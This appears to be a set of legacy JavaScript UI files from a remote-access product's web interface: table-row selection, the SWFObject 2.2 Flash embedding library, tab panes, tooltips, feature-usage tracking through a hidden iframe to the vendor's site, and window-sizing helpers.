oTableElement.addEventListener("mouseover", f_hilite, false);
oTableElement.addEventListener("mouseout", f_lolite, false);
oTableElement.addEventListener("click", f, false);
}
else if (oTableElement.attachEvent) {
oTableElement.attachEvent("onmouseover", f_hilite);
oTableElement.attachEvent("onmouseout", f_lolite);
oTableElement.attachEvent("onclick", f);
}
oCols = oTableElement.getElementsByTagName("td");
for (var j = 0; j < oCols.length; j++) {
oCols[j].style.cursor = ie ? "hand" : "pointer";
}
}
}
}
SelectableTableRows.prototype = new SelectableElements;

SelectableTableRows.prototype.isItem = function (node) {
return node != null && node.tagName == "TR" &&
node.parentNode.tagName == "TBODY" &&
node.parentNode.parentNode == this._htmlElement;
};

/* Indexable Collection Interface */
SelectableTableRows.prototype.getItems = function () {
return this._htmlElement.rows;
};

SelectableTableRows.prototype.getItemIndex = function (el) {
return el.rowIndex;
};

SelectableTableRows.prototype.getItem = function (i) {
return this._htmlElement.rows[i];
};
nljs\swfobject.js(/*	SWFObject v2.2 <http://code.google.com/p/swfobject/> 
is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> 
*/
var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload=="function"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);aa.setAttribute("data","/empty.html");var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+O.location.toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}();?.~kjs\tabs.jsv5// This function is used to define if the browser supports the needed features
function hasSupport() {
if (typeof hasSupport.support != "undefined")
return hasSupport.support;

var ie55 = /msie 5\.[56789]/i.test( navigator.userAgent );

hasSupport.support = ( typeof document.implementation != "undefined" &&
document.implementation.hasFeature( "html", "1.0" ) || ie55 )

// IE55 has a serious DOM1 bug... Patch it!
if ( ie55 ) {
document._getElementsByTagName = document.getElementsByTagName;
document.getElementsByTagName = function ( sTagName ) {
if ( sTagName == "*" )
return document.all;
else
return document._getElementsByTagName( sTagName );
};
}
return hasSupport.support;
}

function RATabPane( el ) {
//	if ( !hasSupport() || el == null ) return;	// some formatting is useful in IE5 and olders too
if ( el == null ) return;

this.element = el;
this.element.tabPane = this;
this.pages = [];
this.selectedIndex = null;

// add class name tag to class name
this.element.className = this.classNameTag + " " + this.element.className;

// add tab row
this.tabRow = document.createElement( "div" );
this.tabRow.className = "tab-row";
el.insertBefore( this.tabRow, el.firstChild );

var tabIndex = 0;
this.selectedIndex = tabIndex;

// loop through child nodes and add them
var cs = el.childNodes;
var n;
for (var i = 0; i < cs.length; i++) {
if (cs[i].nodeType == 1 && cs[i].className == "tab-page") {
this.addTabPage( cs[i] );
}
}
}

RATabPane.prototype = {
classNameTag:		"dynamic-tab-pane-control",

setSelectedIndex:	function ( n ) {
if (this.selectedIndex != n) {
if (this.selectedIndex != null && this.pages[ this.selectedIndex ] != null )
this.pages[ this.selectedIndex ].hide();
this.selectedIndex = n;
this.pages[ this.selectedIndex ].show();
}
},

getSelectedIndex:	function () {
return this.selectedIndex;
},

addTabPage:	function ( oElement ) {
if ( !hasSupport() ) return;

if ( oElement.tabPage == this )	// already added
return oElement.tabPage;

var n = this.pages.length;
var tp = this.pages[n] = new RATabPage( oElement, this, n );
tp.tabPane = this;

// move the tab out of the box
this.tabRow.appendChild( tp.tab );

if ( n == this.selectedIndex )
tp.show();
else
tp.hide();

return tp;
}	
};

function RATabPage( el, tabPane, nIndex ) {
if ( !hasSupport() || el == null ) return;

this.element = el;
this.element.tabPage = this;
this.index = nIndex;

var cs = el.childNodes;
for (var i = 0; i < cs.length; i++) {
if (cs[i].nodeType == 1 && cs[i].className == "tab") {
this.tab = cs[i];
break;
}
}

// insert a tag around content to support keyboard navigation
var a = document.createElement( "A" );
a.href = "javascript:void 0;";
while ( this.tab.hasChildNodes() )
a.appendChild( this.tab.firstChild );
this.tab.appendChild( a );

// hook up events, using DOM0
var oThis = this;
this.tab.onclick = function () { oThis.select(); };
this.tab.onmouseover = function () { RATabPage.tabOver( oThis ); };
this.tab.onmouseout = function () { RATabPage.tabOut( oThis ); };
}

RATabPage.prototype = {
show:	function () {
var el = this.tab;
var s = el.className + " selected";
s = s.replace(/ +/g, " ");
el.className = s;

this.element.style.display = "block";
},

hide:	function () {
var el = this.tab;
var s = el.className;
s = s.replace(/ selected/g, "");
el.className = s;

this.element.style.display = "none";
},

select:	function () {
this.tabPane.setSelectedIndex( this.index );
}
};

RATabPage.tabOver = function ( tabpage ) {
var el = tabpage.tab;
var s = el.className + " hover";
s = s.replace(/ +/g, " ");
el.className = s;
};

RATabPage.tabOut = function ( tabpage ) {
var el = tabpage.tab;
var s = el.className;
s = s.replace(/ hover/g, "");
el.className = s;
};


// This function initializes all uninitialized tab panes and tab pages
function setupAllTabs() {
if ( !hasSupport() ) return;

var all = document.getElementsByTagName( "*" );
var l = all.length;
var tabPaneRe = /tab\-pane/;
var tabPageRe = /tab\-page/;
var cn, el;
var parentTabPane;

for ( var i = 0; i < l; i++ ) {
el = all[i]
cn = el.className;

// no className
if ( cn == "" ) continue;

// uninitiated tab pane
if ( tabPaneRe.test( cn ) && !el.tabPane )
new RATabPane( el );

// unitiated tab page wit a valid tab pane parent
else if ( tabPageRe.test( cn ) && !el.tabPage &&
tabPaneRe.test( el.parentNode.className ) ) {
el.parentNode.tabPane.addTabPage( el );			
}
}
}

// initialization hook up
// DOM2
if ( typeof window.addEventListener != "undefined" )
window.addEventListener( "load", setupAllTabs, false );

// IE 
else if ( typeof window.attachEvent != "undefined" )
window.attachEvent( "onload", setupAllTabs );

else {
if ( window.onload != null ) {
var oldOnload = window.onload;
window.onload = function ( e ) {
oldOnload( e );
setupAllTabs();
};
}
else 
window.onload = setupAllTabs;
}
js\tooltip.jsvar tipTimer = null;
var tipX = null;
var tipY = null;
var tipHtml = null;
var tipAnchor = null;
function showTip(e, sHtml, bHideSelects, sAnchorType) {
hideTip(e);
// find anchor element
var el = e.target || e.srcElement;
while (el.tagName != sAnchorType)
el = el.parentNode;
// remember attributes
tipX = e.clientX;
tipY = e.clientY;
tipAnchor = el;
tipHtml = sHtml;
tipHandler.hideSelects = Boolean(bHideSelects);
// set timer
tipTimer = setTimeout("showTip2()", 400);

var f_cancel = function (e) { 
if (tipTimer) {
clearTimeout(tipTimer);
tipTimer = null;
}
};
if (tipAnchor.addEventListener) {
tipAnchor.addEventListener('mouseout', f_cancel, false);
}
else if (tipAnchor.attachEvent) {
tipAnchor.attachEvent('onmouseout', f_cancel);
}

}
function showTip2() {
clearTimeout(tipTimer);
tipTimer = null;
// is there already a tooltip? If so, remove it
if (tipAnchor._tip)
tipHandler.hideTip(tipAnchor);
// create element and insert last into the body
tipHandler.createTip(tipAnchor, tipHtml);
// position tooltip
tipHandler.positionToolTip(tipX, tipY);
// add a listener to the blur event.
// When blurred remove tooltip and restore anchor
tipAnchor.onblur = tipHandler.anchorBlur;
tipAnchor.onkeydown = tipHandler.anchorKeyDown;
//if ( navigator.userAgent.indexOf('MSIE') < 0 )	// timeout to hide tooltip
tipTimer = setTimeout("clearTimeout(tipTimer); tipTimer = null; tipHandler.hideTip(tipAnchor)", 15000);

var f_hide = function (e) { 
if (tipTimer) {
clearTimeout(tipTimer);
tipTimer = null;
}
tipHandler.hideTip(tipAnchor); 
};
if (tipAnchor.addEventListener) {
tipAnchor.addEventListener('mouseout', f_hide, false);
}
else if (tipAnchor.attachEvent) {
tipAnchor.attachEvent('onmouseout', f_hide);
}
}
function hideTip(e) {
if (tipTimer) {
clearTimeout(tipTimer);
tipTimer = null;
}
// find anchor element
var el = e.target || e.srcElement;
tipHandler.hideTip(el);
}
var tipHandler = {
hideSelects:		false,
tip:				null,
supportsOverlay:	false,
showSelects:	function (bVisible) {
if (!this.hideSelects) return;
// only IE actually do something in here
var selects = [];
if (document.all)
selects = document.all.tags("SELECT");
var l = selects.length;
for	(var i = 0; i < l; i++)
selects[i].runtimeStyle.visibility = bVisible ? "" : "hidden";
},
create:	function () {
var d = document.createElement("DIV");
d.className = "tooltip";
d.onmousedown = this.tipMouseDown;
d.onmouseup = this.tipMouseUp;
document.body.appendChild(d);
this.tip = d;
},
createTip:	function (el, sHtml) {
if (this.tip == null) {
this.create();
}
var d = this.tip;
d.innerHTML = sHtml;
d._boundAnchor = el;
el._tip = d;
return d;
},
tipMouseDown:	function (e) {
var d = this;
var el = d._boundAnchor;
if (!e) e = event;
var t = e.target || e.srcElement;
while (t.tagName != "A" && t != d)
t = t.parentNode;
if (t == d) return;

el._onblur = el.onblur;
el.onblur = null;
},
tipMouseUp:	function () {
var d = this;
var el = d._boundAnchor;
el.onblur = el._onblur;
el._onblur = null;
el.focus();
},	
anchorBlur:	function (e) {
var el = this;
tipHandler.hideTip(el);
},
anchorKeyDown:	function (e) {
if (!e) e = window.event
if (e.keyCode == 27) {
tipHandler.hideTip(this);
}
},
removeTip:	function (d) {
d._boundAnchor = null;
d.style.filter = "none";
if (d.iframe) d.iframe.style.visibility = "none";
d.innerHTML = "";
d.onmousedown = null;
d.onmouseup = null;
d.parentNode.removeChild(d);
},
hideTip:	function (el) {
var d = el._tip;
if (d != null) {
d.style.visibility = "hidden";
if (d.iframe) d.iframe.style.visibility = "hidden";
el.onblur = null;
el._onblur = null;
el._tip = null;
el.onkeydown = null;

this.showSelects(true);
}
},
positionToolTip:	function (clientX, clientY) {
this.showSelects(false);		
var scroll = this.getScroll();
var d = this.tip;
// width
if (d.offsetWidth >= scroll.width)
d.style.width = scroll.width - 10 + "px";
else
d.style.width = "";
// left
d.style.left = clientX - 2 + scroll.left + "px";
// top
if (clientY + d.offsetHeight + 18 < scroll.height)
d.style.top = clientY + 18 + scroll.top + "px";
else if (clientY - d.offsetHeight > 0)
d.style.top = clientY + scroll.top - d.offsetHeight + "px";
else
d.style.top = scroll.top + 5 + "px";

d.style.visibility = "visible";

// create iframe beneath the div - workaround for an IE "feature", which stacks SELECT elements on top of tooltips.
supportsOverlay = (typeof document.body != "undefined" && typeof document.body.insertAdjacentHTML != "undefined" && !window.opera && navigator.appVersion.indexOf("MSIE 5.0") == -1);
if (supportsOverlay) {
document.body.insertAdjacentHTML("beforeEnd", "<iframe id='tipIFrame' src='javascript:null;' style='position:absolute; left:0; top:0; z-index:500; visibility:hidden' scrolling='no' frameborder='0'></iframe>");
this.tip.iframe = document.getElementById('tipIFrame');
this.tip.iframe.style.width = d.offsetWidth;
this.tip.iframe.style.height = d.offsetHeight;
this.tip.iframe.style.top = d.style.top;
this.tip.iframe.style.left = d.style.left;
this.tip.iframe.style.zIndex = 9999;
this.tip.iframe.style.visibility = 'visible';
this.tip.iframe.style.filter='progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)';
this.tip.iframe.style.display = "block";
}
},
getScroll:	function () {
if (document.all && typeof document.body.scrollTop != "undefined") {
var ieBox = document.compatMode != "CSS1Compat";
var cont = ieBox ? document.body : document.documentElement;
return {
left:	cont.scrollLeft,
top:	cont.scrollTop,
width:	cont.clientWidth,
height:	cont.clientHeight
};
} else {
return {
left:	window.pageXOffset,
top:	window.pageYOffset,
width:	window.innerWidth,
height:	window.innerHeight
};
}

}
};
function htmlEncode(s) {
var s2 = "";
var i;
var s1 = s += "";
for (i=0; i<s1.length; i++) {
var s3 = s1.substring(i, i+1);
if (s3 == "<") {
s2 += "&lt;";
} else if (s3 == ">") {
s2 += "&gt;";
} else if (s3 == "&") {
s2 += "&amp;";
} else if (s3 == "\"") {
s2 += "&quot;";
} else {
s2 += s3;
}
}
return s2;
}2>Rjs\tracking.js)<?ratmpl?>
<?nocache?>


// TrackIdMap

function TrackIdMap()
{
this.map = new Object();
}

TrackIdMap.prototype = {

getKey: function (app, action, platform)
{
return app + "|" + action + "|" + platform;
},

getTrackId: function (app, action, platform)
{
return this.map[this.getKey(app, action, platform)];
},

addTrackId: function(app, action, platform, trackId)
{
this.map[this.getKey(app, action, platform)] = trackId;
}
}


// Tracking constants, note: const is not supported by IE

var kAPP_NONE = "-";
var kAPP_BORG = "Borg";
var kAPP_PLUGIN = "Plugin";
var kAPP_FLASH = "Flash";
var kAPP_JAVA = "Java";
var kAPP_HTML = "Static Html";
var kAPP_LOGIN = "Login";

var kACT_NONE = "-";
var kACT_REMOTE_CONTROL = "RemoteControl";
var kACT_FILE_MANAGER = "FileManager";
var kACT_LOGIN_UPD = "UserPassDomain";
var kACT_LOGIN_UP = "UserPass";
var kACT_LOGIN_CAC = "CAC";


// Tracking object

var Tracking = (function () {

function initTrackIdMap()
{
var map = new TrackIdMap();

map.addTrackId(kAPP_BORG, kACT_REMOTE_CONTROL, kPLATFORM_WIN, 116);
map.addTrackId(kAPP_BORG, kACT_REMOTE_CONTROL, kPLATFORM_MAC, 117);
map.addTrackId(kAPP_BORG, kACT_FILE_MANAGER, kPLATFORM_WIN, 118);
map.addTrackId(kAPP_BORG, kACT_FILE_MANAGER, kPLATFORM_MAC, 119);
map.addTrackId(kAPP_LOGIN, kACT_LOGIN_UPD, kPLATFORM_WIN, 146);
map.addTrackId(kAPP_LOGIN, kACT_LOGIN_UPD, kPLATFORM_MAC, 147);
map.addTrackId(kAPP_LOGIN, kACT_LOGIN_UP, kPLATFORM_WIN, 148);
map.addTrackId(kAPP_LOGIN, kACT_LOGIN_UP, kPLATFORM_MAC, 149);
map.addTrackId(kAPP_LOGIN, kACT_LOGIN_CAC, kPLATFORM_WIN, 150);
map.addTrackId(kAPP_LOGIN, kACT_LOGIN_CAC, kPLATFORM_MAC, 151);
map.addTrackId(kAPP_PLUGIN, kACT_REMOTE_CONTROL, kPLATFORM_WIN, 180);
map.addTrackId(kAPP_PLUGIN, kACT_REMOTE_CONTROL, kPLATFORM_MAC, 181);
map.addTrackId(kAPP_PLUGIN, kACT_FILE_MANAGER, kPLATFORM_WIN, 182);
map.addTrackId(kAPP_PLUGIN, kACT_FILE_MANAGER, kPLATFORM_MAC, 183);
map.addTrackId(kAPP_FLASH, kACT_REMOTE_CONTROL, kPLATFORM_WIN, 184);
map.addTrackId(kAPP_FLASH, kACT_REMOTE_CONTROL, kPLATFORM_MAC, 185);
map.addTrackId(kAPP_JAVA, kACT_REMOTE_CONTROL, kPLATFORM_WIN, 186);
map.addTrackId(kAPP_JAVA, kACT_REMOTE_CONTROL, kPLATFORM_MAC, 187);
map.addTrackId(kAPP_JAVA, kACT_FILE_MANAGER, kPLATFORM_WIN, 188);
map.addTrackId(kAPP_JAVA, kACT_FILE_MANAGER, kPLATFORM_MAC, 189);
map.addTrackId(kAPP_HTML, kACT_REMOTE_CONTROL, kPLATFORM_WIN, 190);
map.addTrackId(kAPP_HTML, kACT_REMOTE_CONTROL, kPLATFORM_MAC, 191);
map.addTrackId(kAPP_HTML, kACT_FILE_MANAGER, kPLATFORM_WIN, 192);
map.addTrackId(kAPP_HTML, kACT_FILE_MANAGER, kPLATFORM_MAC, 193);

return map;
}

// for arguments, use the constants: kAPP_XXX, kACT_XXX above
function trackAction(app, action)
{
// tracking is only for LogMeIn
if (!LMIBrowserInfo.IsLogMeIn())
return;

var platform = LMIBrowserInfo.GetPlatform();
var trackId = this.trackIdMap.getTrackId(app, action, platform);

if (typeof(trackId) == "undefined")
{
// console.log("No track id is defined for app: " + app + ", action: " + action + ", platform: ", platform);
return;
}
// console.log("Track - app: " + app + ", action: " + action + ", platform: ", platform);

var url = getServiceUrl() + "?version=1&trackid=" + trackId;

// a simple AJAX request with XMLHttpRequest does not work, because it is subject to same-origin policy, a solution could be:
//  - Cross-Origin Resource Sharing, which needs server side support and works with modern browsers (Internet Explorer 8+, Firefox 3.5+, Safari 4+, and Chrome)
//  - JSONP, this is the preferred solution, but this also needs server side changes
//  - injecting iframe, which does not need server side changes

var elementId = "tracking";
var iframe = document.getElementById(elementId);
if (!iframe)
{
iframe = document.createElement('iframe');
iframe.id = elementId;
iframe.style.display = "none";

document.body.appendChild(iframe);
}
iframe.src = url;
}

function getServiceUrl()
{
return "https://$PRODUCTWEBSITE$/ws/api/internal/Tracking.aspx";
}

function reqTypeToApp(reqType)
{
switch (reqType)
{
case "activex":     return kAPP_PLUGIN;     break;
case "html":        return kAPP_HTML;       break;
}

return kAPP_NONE;
}

return {
trackIdMap: initTrackIdMap(),

trackAction: trackAction,
reqTypeToApp: reqTypeToApp
}
})();
O
:js\window.js-

// shows or hides a DIV element
// divID - name of the DIV element
// show - true (show) or false (hide)
function winShow(ID, show) {
if (show == null || typeof(show) == 'undefined') show = true;

var el = document.getElementById(ID);
if (el) {
if (show) {
// set the object visible
el.style.visibility = "visible";
el.style.display = "block";

// make sure it's not off-screen...
//   top-left of the object (relative to the page)
var objLft = 0;
var objTop = 0;
for (var e = el; e.offsetParent; e = e.offsetParent) {
objLft += e.offsetLeft;
objTop += e.offsetTop;
}
//   bottom-right of the object
var objRgt = objLft + el.offsetWidth;
var objBtm = objTop + el.offsetHeight;
//   leave some margin around the object
var margin = 2;
objLft -= margin; objTop -= margin;
objRgt += margin; objBtm += margin;
//   page scroll position
var winX = document.body.scrollLeft;
var winY = document.body.scrollTop;
//   page size
var winW = document.body.clientWidth;
var winH = document.body.clientHeight;
//   move the object on-screen
if (objRgt > winX+winW) winX = objLft - winW; // right edge
if (objBtm > winY+winH) winY = objBtm - winH; // bottom edge
if (objLft < winX) winX = objLft; // left edge
if (objTop < winY) winY = objTop; // top edge
window.scrollTo(winX, winY);
} else {
// set the object invisible
el.style.display = "none";
}
}
}

function winHide(ID) {
winShow(ID, false);
}

function winSetHeight(ID, height) {
var element = document.getElementById(ID);
if (element) element.style.height = height + "px";
}

function _winAutoHeight(ID, nonClientHeight) {
var element = document.getElementById(ID);
if (element)
nonClientHeight = element.offsetTop + 5;
var myHeight = 0;
if( typeof( window.innerHeight ) == 'number' ) {
//Non-IE
myHeight = window.innerHeight;
} else if( document.documentElement && document.documentElement.clientHeight ) {
//IE 6+ in 'standards compliant mode'
myHeight = document.documentElement.clientHeight;
} else if( document.body && document.body.clientHeight ) {
myHeight = document.body.clientHeight;
}
winSetHeight(ID, myHeight - nonClientHeight);
}

